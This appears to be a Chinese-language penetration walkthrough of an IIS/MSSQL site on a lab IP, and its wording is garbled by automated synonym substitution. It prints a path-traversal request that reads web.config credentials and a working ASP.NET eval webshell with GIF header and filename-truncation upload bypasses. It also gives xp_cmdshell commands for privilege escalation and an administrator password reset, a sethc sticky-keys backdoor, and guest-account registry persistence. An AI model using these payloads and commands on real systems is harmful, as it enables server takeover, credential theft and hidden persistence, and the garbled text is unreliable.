网站从渗出到mssql提权全过程

2|0渗出全过程

1.信息网络-端口探测
1）Nmap端口探测：namp -sS -p 1-65535 172.16.12.103
可以看到端口开放环境
 

 2.判断体系环境
根据端口环境开端判断为IIS+mssql+.net体系，访问web站点URL应该为：http:172.16.12.103:27689
访问网站出现登入框
 

这里想到直接使用admin爆破一波，但是没爆破出来，估计暗码复杂，于是只有另辟蹊径
 

3.网站目次扫描
御剑、burpsuite举行目次扫描，burpsuite的扫描雷同爆破套路，这里直接使用御剑扫描
 

只有两个目次可以访问，别的须要登入验证后授权。
1）访问/robots,txt目次出现下面几个目次，都须要登入，此中/admin/file_down.aspx报错。
 

2）访问/admin/file_down.aspx目次报错信息如下
看到源文件路径，访问参数为file，遐想到是否存在mssql根目次下的web.config文件
 

4.通过file参数访问web.config文件探求可用数据
http://172.16.12.103:27689/admin/file_down.aspx?File=../../web.config(注意：这里上级目次为/admin,再跳一次就为根目次了)
 

直接可以下载web.config文件，打开XML文件查察直接看到数据库账号/暗码：down/downsql
 

5.毗连数据库
使用工具navicat毗连数据库，实行查找数据库中web的账号暗码
1）毗连数据库
 

2）可视化管理软件，直接查表，就不消sql语句查询，查察一个UserLists表，查察得到admin暗码为adfasdfsadfef
 

6.使用admin账号登入web登录框
 

7.找到上传点，上传木马
摆设在IIS上的为asp.net，直接上传asp.net的一句话：
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>
头添加GIF89a辨认文件头为GIF，制止内容检测不通过
 

1）第一次上传分析不乐成
修改后缀为aspx无法上传，巨细写、双写等绕不外(各种实行)，只能上传.aspx.jpg情势的
 

上传a.aspx.jpg文件乐成，但是无法分析为aspx文件
 

2）查察”管理文件上传”，提示文件名到达32位字符会被截取作为文件名，观察例子，当文件名字符为13位后都被截取，那么想到可以截掉.jpg部门就可以辨认为aspx
 

上传文件为aaaaaaaa.aspx.jpg的一句话乐成截断为aspx
 

3)找上传路径，判断是否分析乐成，burp中未找到，源码没有，”管理上传文件”中查文件找到一个报错信息看到路径为/upfile/affix/
 

访问文件，分析乐成
 

8.使用菜刀毗连getshell
1)设置菜刀
 

2)毗连数据库乐成
 

3)通过假造终端查察权限
 

Whoami查察显着权限不敷
 

9.mssql提升权限
根本思绪就是新建用户添加到administrator，开启3389，末了远程毗连服务器。
使用xp_cmdshell实行提权，使用编辑器新建用户参加adminnistrator失败，提示无权限举行创建账号
 

第一种提权：提升net.exe大概net1.exe的权限，然后新建用户
1）提升net.exe的权限
下令：exec xp_cmdshell 'echo y|cacls net.exe /g system:f'
 

2）重置administrator账号暗码
下令：exec xp_cmdshell 'net user administrator gooann'
3）开启远程3389，直接使用administrator账号远程到服务器。
第二种提权方法：
1）使用xp_cmdshell下令，sethc复制cmd.exe，形成shif后门，可以远程到呆板后举行使用；这里相当于我按住5次shif就粘贴cmd.exe了，可以在远程服务器界面使用。
下令：exec xp_cmdshell 'attrib -s -r -h sethc.exe && copy cmd.exe
 

2）上传开启3389远程的3389.bat，在假造终端中实行
 

3）远程到目的服务器，使用shift后门
 

按住5次shift后将出现cmd就会粘贴到桌面
 

4)Whoami查察一下权限为system权限，接下来想办法能进入图形化界面
 

4)进入图形化界面
直接在cmd中输入:explorer.exe进入windows可视化界面，也就是进入桌面
 

10.权限维持几种方法
1）图形化界面直接修改账号暗码；

2）新建一个用户；
3）修改注册表，将administrator账号的注册表信息复制到禁用的guest账号，这时间禁用的guset账号还是可以使用，这种方法就很埋伏了。